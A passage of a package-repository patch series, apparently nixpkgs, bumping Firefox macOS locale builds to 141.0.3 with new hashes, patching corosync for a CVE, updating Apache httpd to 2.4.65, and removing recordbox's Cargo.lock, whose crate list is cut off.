-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pa-IN/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pa-IN/Firefox%20141.0.3.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "8a30d337c64283088a8adec3c6eb8ab600a8001cdd0b50b2b8ed1b9a56ff003f";
+      sha256 = "e570a2b996c3e7ffb01bfd0875f183c87a992f5c2cb246e9f68db4e864082653";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pl/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pl/Firefox%20141.0.3.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "1b9b21f9ff1d18200baa145dddc117294ebab52f007380a7ab9d0dc7b42099ce";
+      sha256 = "044fb31a83a627fb1d475c8683fb66bc4098d14ac47729cfe1a0bff1609bcda8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pt-BR/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pt-BR/Firefox%20141.0.3.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "6e1f4ea4b860211944b6ec62cc1beca7e5823803e25b11158ed42fd5a19a7e1f";
+      sha256 = "1d4ac61aff3f7c14ba5867b7dfa5e098842bf0f25a24611abe303c1fb5536ba0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pt-PT/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/pt-PT/Firefox%20141.0.3.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "9abb26200edb7dd2157b71bdd79ee939a3a8c6e66f69ed4c7e177951cf0eb3e7";
+      sha256 = "ad848efcaf811e3ac8915baccce23e4520546f8923f27c1fe4b07cec4203546e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/rm/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/rm/Firefox%20141.0.3.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "3459337d336ac02ae714db945092da1bcf9603c134fa6c81de6650982bf85419";
+      sha256 = "019f188b80dfcb513af4e623cc4b7c4c983c0bf65ed888ee9f46f4d92b1c7048";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ro/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ro/Firefox%20141.0.3.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "8318efc3b94558bb26d99f1102baafeb3fa4a62cbc0746c83b0bceaeb038d2b8";
+      sha256 = "6bc2b001cd606ec3eedc88cc5736f67d2aada18ebbd46bcc8761cf4918b99e6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ru/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ru/Firefox%20141.0.3.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "c87d1693fb46ddbe068e1b581472b1725a34d14fb6ea6144769a7a2b6215c24d";
+      sha256 = "b82cf9e1960b92cddf95fbd3a8174c1a2bdc387be780893780433f2e518d84f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sat/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sat/Firefox%20141.0.3.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "bc74c8ea5b19abddba88fbb0a87d644f906a7ca5c081728816c4909474524c61";
+      sha256 = "18f71579ad0078afaf5783a54b70463bc3b2e3e72f87e4ab9f01d22e60fee14c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sc/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sc/Firefox%20141.0.3.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "53aac0fed2454f743a64837cc07d0c7c95cfb3ab92dfcf34d805a3ffbecc94c9";
+      sha256 = "c586dcb0f8fa6734fd8a822c4a54b94b4a559ac6220d884bc69d9b50f7a32d3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sco/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sco/Firefox%20141.0.3.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "e48edfdd975c877be82d79f64e94f13180b5ebbe16934eff884ca3cbb1a5b332";
+      sha256 = "aa5b9501fd5c553b5c9ac1110b91d11de0f262b16c4068c3459d22c35639c4b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/si/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/si/Firefox%20141.0.3.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "dae75bf46301007ce4b1027546a732048a11251ed4ce962bf73d33343590afed";
+      sha256 = "b6bd43406ad0175d45cd4990ea80b83e320459627038cc018ee01aaccb49ae7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sk/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sk/Firefox%20141.0.3.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "e188cb5e0a0308c9783cd6c9f465869c9b3a4c882ce5305648d83c9e3ffa00a9";
+      sha256 = "62649f448961ccdd37f322422eba89edc607ec48d64fa93a851ba1aff3b991a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/skr/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/skr/Firefox%20141.0.3.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "bd900852c589de0e7431cf0108ded6d4bababc431bce1beb71f96010e1f28d1a";
+      sha256 = "2c23f1cd8d302488406e96b06870aae37a7ee8cd8840733451832859953345ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sl/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sl/Firefox%20141.0.3.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "b1e981f438226be3317fa0ac848f27c45dc86c5a811a0e90cf0b1d408a5c6ee1";
+      sha256 = "da380f30342abb3904c2d43a7e3250454cfb4a9c79f72f10de57d342c7e86988";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/son/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/son/Firefox%20141.0.3.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "e003f8c3c4611f958a838db6309e49581175e298cb377790a1f46765a8036df3";
+      sha256 = "c5e732b1d87149a64dad91de0f6ee90509bf13023c6be74706ada3a33399b5ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sq/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sq/Firefox%20141.0.3.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "d5888f21a2a8d9cdc3b626186800d41056ab838116ee0a6447fae4e9ac3e5e5a";
+      sha256 = "c44df5f08f47882dd9bf57b7bf62141517e6d8384e6c1425e3bbd1cd629f9ccb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sr/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sr/Firefox%20141.0.3.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "27aa9dcd74c00fdaf8f47ba933137925eecd542fec8acd59f2fae655ac628ff9";
+      sha256 = "a865e597136910a69ce4441227b702b4ca8f676614847d712419551c38fd906a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sv-SE/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/sv-SE/Firefox%20141.0.3.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "d42cc11b20f381e61de8878a4dae5d136c7dfbc6a6c979a64f93c394ae2d9afe";
+      sha256 = "e1004e6ca315fda078df6da410f3fe004ab45931d48bec57d1d3d1b4e102035e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/szl/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/szl/Firefox%20141.0.3.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "d93489838778cc0b50a6098899372889fa1321397256392f43232bea62096517";
+      sha256 = "6cadbb50355600d65f04f2f228ba9fc48d163386068e3025f3fa2e3d0d53c123";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ta/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ta/Firefox%20141.0.3.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "f3f820d404dfca5ae8600dc2440fb20b0cbde31d770c91b962896c30cf1fa581";
+      sha256 = "a22961ab58be3ea50b22db31931620b483433963fc4a76b708f080a83bf225ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/te/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/te/Firefox%20141.0.3.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "27d83f95de3c724b255c7eb2084d0f2efad29d3adb118b4c18bc39cdd93d1d3d";
+      sha256 = "685cc2e6c4bcd4af2badad0bfc9949138eee2b689ab33e77e0a7e49d8d71045a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/tg/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/tg/Firefox%20141.0.3.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "1a9502ee8bf2781acfcab7793d4d4bcf5791519bf7feefac4c4da4de1d693f68";
+      sha256 = "993516c8efb25aea0d0cf3754f27efb4b4ff18b1ddfba1c46c751f61f88839c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/th/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/th/Firefox%20141.0.3.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "e4abbe3e56751a10afb803085e858c52167de952bf63123eb94b4a32cd3b7649";
+      sha256 = "78a3906a4830e8577c62fcbb45388a029f9883218fe4f6162e6b28f0408cdb50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/tl/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/tl/Firefox%20141.0.3.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "b0c6add6b6676b075d97788d38a9ccd430ca3b47534ccf2ab8f898a04e07d138";
+      sha256 = "248d25ff29d28a87092352fa49cd9c30db2908fd0675befda189deaa13d4b533";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/tr/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/tr/Firefox%20141.0.3.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "4550e4ec053b90548f8dbdc249ace236a476d66e8ec3ba5dcc6092d2adaeccb7";
+      sha256 = "70cd725698307aca4d4dbb7a6e02100166dfacd7669c5a300d35cecfcfa239c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/trs/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/trs/Firefox%20141.0.3.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "8b0edcee5ad67bc78f75d3baf807bcc2cd6a2ba829345687b197ab92d772a1b2";
+      sha256 = "ae8ba73465b2abc8d18d3c2e2daf68e2668cab1c1144d8d6a559014721afb9f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/uk/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/uk/Firefox%20141.0.3.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "3cf396f507367f620be1fd9f1fe219a8cdd42e8bea3104c59c13403d85d97c67";
+      sha256 = "8781407f677a997e0a43a0dbcef48a21eb1e78b106e071426a68df4c9a74c2d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ur/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ur/Firefox%20141.0.3.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "202c702d5cb1c39407b39947f5d611711bf83a1d79c2303e73ac0475ea5f7e97";
+      sha256 = "18012bb20b9fa76394ffa9a7fd5bd9a4b26f8e977a254cde30d9c84d30ac5f74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/uz/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/uz/Firefox%20141.0.3.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "8764b5d9dd0620f69caab099e5d71ef8f04ea62bddda563d58ee2d83960896e8";
+      sha256 = "5dedce611ba384512b289070794e92fa75be17766c5e313a0349144e67444cca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/vi/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/vi/Firefox%20141.0.3.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "f9986af74ee9519c96b5949a4bd1cc1a422b3ea07f2399c18a20e0e247c65df2";
+      sha256 = "61770a27c25d3bef80c01f673341de713544b89fb182a0e7a7c7132bd6fbf44e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/xh/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/xh/Firefox%20141.0.3.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "b0695f3ebabae3d74276f7aa670ab550c9e920f4acfbc875573aeb853d631e32";
+      sha256 = "75f0e9cc3a722680e91e254802204d5580683cb1b59c68f5b5afd7feb9bfef84";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/zh-CN/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/zh-CN/Firefox%20141.0.3.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "4b2daabfee6b04918c2ce030eea5a5ef2849571387122ef438d5a6e86f5b205a";
+      sha256 = "4ccfbb23b602a67f17a58d77dee5591549a5df95a6368b39fc5f6b087524f74f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/zh-TW/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/zh-TW/Firefox%20141.0.3.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "885d70e26d470ad87cc16222697d14a19fdc9008a43ddaf140e899d218b65f91";
+      sha256 = "71918ddaec0bd8fa651b8a6a8e5eb17e4b487c9d3e9ff1a5dbcbe9edb8186e1a";
     }
   ];
 }

From c8b7490123500600394b72cdff1b69df0f660d94 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 28 Jun 2025 17:02:44 +0200
Subject: [PATCH 3321/4511] corosync: apply patch for CVE-2025-30472

Related issue:
https://github.com/corosync/corosync/issues/778

(cherry picked from commit c99fae3a0fe224de2a86ee2e84f6a64c5c93472c)
---
 pkgs/by-name/co/corosync/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/co/corosync/package.nix b/pkgs/by-name/co/corosync/package.nix
index 6225fa443c8e..d640734c7b51 100644
--- a/pkgs/by-name/co/corosync/package.nix
+++ b/pkgs/by-name/co/corosync/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchurl,
+  fetchpatch2,
   makeWrapper,
   pkg-config,
   kronosnet,
@@ -32,6 +33,14 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-IDNUu93uGpezxQoHbq6JxjX0Bt1nTMrvyUu5CSrNlTU=";
   };
 
+  patches = [
+    (fetchpatch2 {
+      name = "CVE-2025-30472.patch";
+      url = "https://github.com/corosync/corosync/commit/7839990f9cdf34e55435ed90109e82709032466a.patch??full_index=1";
+      hash = "sha256-EgGTfOM9chjLnb1QWNGp6IQQKQGdetNkztdddXlN/uo=";
+    })
+  ];
+
   nativeBuildInputs = [
     makeWrapper
     pkg-config

From 4316862eeb5c271cecbc1f4baf269ca20f83755c Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 11 Jul 2025 19:48:26 +0200
Subject: [PATCH 3322/4511] apacheHttpd: 2.6.62 -> 2.6.65

Fixes CVE-2025-53020, CVE-2025-49812, CVE-2025-49630, CVE-2025-23048, CVE-2024-47252,
CVE-2024-43204 and CVE-2024-42516.

https://dlcdn.apache.org/httpd/CHANGES_2.4.64
https://dlcdn.apache.org/httpd/CHANGES_2.4.65
(cherry picked from commit 29b0c5917810b65a71c6cb75960dac182a7bdeec)
---
 pkgs/servers/http/apache-httpd/2.4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/apache-httpd/2.4.nix b/pkgs/servers/http/apache-httpd/2.4.nix
index dce4ce4ce0c9..829c39b33a6d 100644
--- a/pkgs/servers/http/apache-httpd/2.4.nix
+++ b/pkgs/servers/http/apache-httpd/2.4.nix
@@ -33,11 +33,11 @@
 
 stdenv.mkDerivation rec {
   pname = "apache-httpd";
-  version = "2.4.62";
+  version = "2.4.65";
 
   src = fetchurl {
     url = "mirror://apache/httpd/httpd-${version}.tar.bz2";
-    hash = "sha256-Z0GI579EztgtqNtSLalGhJ4iCA1z0WyT9/TfieJXKew=";
+    hash = "sha256-WLi+l9mUDsF/dlbAxrn0G2GKrEaLiUtTQUjjKWxTuLM=";
   };
 
   patches = [

From 18872c61b368739995bba0929738906406cc1f87 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Mon, 14 Jul 2025 22:43:52 -0400
Subject: [PATCH 3323/4511] recordbox: 0.9.3 -> 0.10.3

Diff: https://codeberg.org/edestcroix/Recordbox/compare/refs/tags/v0.9.3...v0.10.3

Changelog: https://codeberg.org/edestcroix/Recordbox/releases/tag/v0.10.3
(cherry picked from commit f3e153a888133dd8fd0b8cf778eefa5c68504c9d)
---
 pkgs/by-name/re/recordbox/Cargo.lock  | 3803 -------------------------
 pkgs/by-name/re/recordbox/package.nix |   28 +-
 2 files changed, 14 insertions(+), 3817 deletions(-)
 delete mode 100644 pkgs/by-name/re/recordbox/Cargo.lock

diff --git a/pkgs/by-name/re/recordbox/Cargo.lock b/pkgs/by-name/re/recordbox/Cargo.lock
deleted file mode 100644
index 32cada0f8945..000000000000
--- a/pkgs/by-name/re/recordbox/Cargo.lock
+++ /dev/null
@@ -1,3803 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 4
-
-[[package]]
-name = "adler2"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
-
-[[package]]
-name = "ahash"
-version = "0.8.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e89da841a80418a9b391ebaea17f5c112ffaaa96f621d2c285b5174da76b9011"
-dependencies = [
- "cfg-if",
- "once_cell",
- "version_check",
- "zerocopy 0.7.35",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "android-tzdata"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
-
-[[package]]
-name = "android_system_properties"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "ashpd"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "de3d60bee1a1d38c2077030f4788e1b4e31058d2e79a8cfc8f2b440bd44db290"
-dependencies = [
- "async-fs",
- "async-net",
- "enumflags2",
- "futures-channel",
- "futures-util",
- "rand 0.8.5",
- "serde",
- "serde_repr",
- "url",
- "zbus 5.5.0",
-]
-
-[[package]]
-name = "async-broadcast"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "435a87a52755b8f27fcf321ac4f04b2802e337c8c4872923137471ec39c37532"
-dependencies = [
- "event-listener 5.4.0",
- "event-listener-strategy",
- "futures-core",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-channel"
-version = "1.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35"
-dependencies = [
- "concurrent-queue",
- "event-listener 2.5.3",
- "futures-core",
-]
-
-[[package]]
-name = "async-channel"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "89b47800b0be77592da0afd425cc03468052844aff33b84e33cc696f64e77b6a"
-dependencies = [
- "concurrent-queue",
- "event-listener-strategy",
- "futures-core",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-executor"
-version = "1.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "30ca9a001c1e8ba5149f91a74362376cc6bc5b919d92d988668657bd570bdcec"
-dependencies = [
- "async-task",
- "concurrent-queue",
- "fastrand",
- "futures-lite",
- "slab",
-]
-
-[[package]]
-name = "async-fs"
-version = "2.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebcd09b382f40fcd159c2d695175b2ae620ffa5f3bd6f664131efff4e8b9e04a"
-dependencies = [
- "async-lock",
- "blocking",
- "futures-lite",
-]
-
-[[package]]
-name = "async-global-executor"
-version = "2.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c"
-dependencies = [
- "async-channel 2.3.1",
- "async-executor",
- "async-io",
- "async-lock",
- "blocking",
- "futures-lite",
- "once_cell",
-]
-
-[[package]]
-name = "async-io"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43a2b323ccce0a1d90b449fd71f2a06ca7faa7c54c2751f06c9bd851fc061059"
-dependencies = [
- "async-lock",
- "cfg-if",
- "concurrent-queue",
- "futures-io",
- "futures-lite",
- "parking",
- "polling",
- "rustix 0.38.44",
- "slab",
- "tracing",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "async-lock"
-version = "3.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff6e472cdea888a4bd64f342f09b3f50e1886d32afe8df3d663c01140b811b18"
-dependencies = [
- "event-listener 5.4.0",
- "event-listener-strategy",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-net"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b948000fad4873c1c9339d60f2623323a0cfd3816e5181033c6a5cb68b2accf7"
-dependencies = [
- "async-io",
- "blocking",
- "futures-lite",
-]
-
-[[package]]
-name = "async-process"
-version = "2.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "63255f1dc2381611000436537bbedfe83183faa303a5a0edaf191edef06526bb"
-dependencies = [
- "async-channel 2.3.1",
- "async-io",
- "async-lock",
- "async-signal",
- "async-task",
- "blocking",
- "cfg-if",
- "event-listener 5.4.0",
- "futures-lite",
- "rustix 0.38.44",
- "tracing",
-]
-
-[[package]]
-name = "async-recursion"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b43422f69d8ff38f95f1b2bb76517c91589a924d1559a0e935d7c8ce0274c11"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "async-signal"
-version = "0.2.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "637e00349800c0bdf8bfc21ebbc0b6524abea702b0da4168ac00d070d0c0b9f3"
-dependencies = [
- "async-io",
- "async-lock",
- "atomic-waker",
- "cfg-if",
- "futures-core",
- "futures-io",
- "rustix 0.38.44",
- "signal-hook-registry",
- "slab",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "async-std"
-version = "1.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "730294c1c08c2e0f85759590518f6333f0d5a0a766a27d519c1b244c3dfd8a24"
-dependencies = [
- "async-channel 1.9.0",
- "async-global-executor",
- "async-io",
- "async-lock",
- "async-process",
- "crossbeam-utils",
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-lite",
- "gloo-timers",
- "kv-log-macro",
- "log",
- "memchr",
- "once_cell",
- "pin-project-lite",
- "pin-utils",
- "slab",
- "wasm-bindgen-futures",
-]
-
-[[package]]
-name = "async-task"
-version = "4.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de"
-
-[[package]]
-name = "async-trait"
-version = "0.1.88"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e539d3fca749fcee5236ab05e93a52867dd549cc157c8cb7f99595f3cedffdb5"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "atomic-waker"
-version = "1.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"
-
-[[package]]
-name = "atomic_refcell"
-version = "0.1.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41e67cd8309bbd06cd603a9e693a784ac2e5d1e955f11286e355089fcab3047c"
-
-[[package]]
-name = "autocfg"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
-
-[[package]]
-name = "base64"
-version = "0.21.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "bitflags"
-version = "2.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c8214115b7bf84099f1309324e63141d4c5d7cc26862f97a0a857dbefe165bd"
-
-[[package]]
-name = "block"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a"
-
-[[package]]
-name = "block-buffer"
-version = "0.10.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "blocking"
-version = "1.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "703f41c54fc768e63e091340b424302bb1c29ef4aa0c7f10fe849dfb114d29ea"
-dependencies = [
- "async-channel 2.3.1",
- "async-task",
- "futures-io",
- "futures-lite",
- "piper",
-]
-
-[[package]]
-name = "bumpalo"
-version = "3.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1628fb46dfa0b37568d12e5edd512553eccf6a22a78e8bde00bb4aed84d5bdbf"
-
-[[package]]
-name = "bytemuck"
-version = "1.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6b1fc10dbac614ebc03540c9dbd60e83887fda27794998c6528f1782047d540"
-
-[[package]]
-name = "byteorder"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
-
-[[package]]
-name = "cacache"
-version = "13.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c5063741c7b2e260bbede781cf4679632dd90e2718e99f7715e46824b65670b"
-dependencies = [
- "async-std",
- "digest",
- "either",
- "futures",
- "hex",
- "libc",
- "memmap2",
- "miette",
- "reflink-copy",
- "serde",
- "serde_derive",
- "serde_json",
- "sha1",
- "sha2",
- "ssri",
- "tempfile",
- "thiserror 1.0.69",
- "walkdir",
-]
-
-[[package]]
-name = "cairo-rs"
-version = "0.20.7"
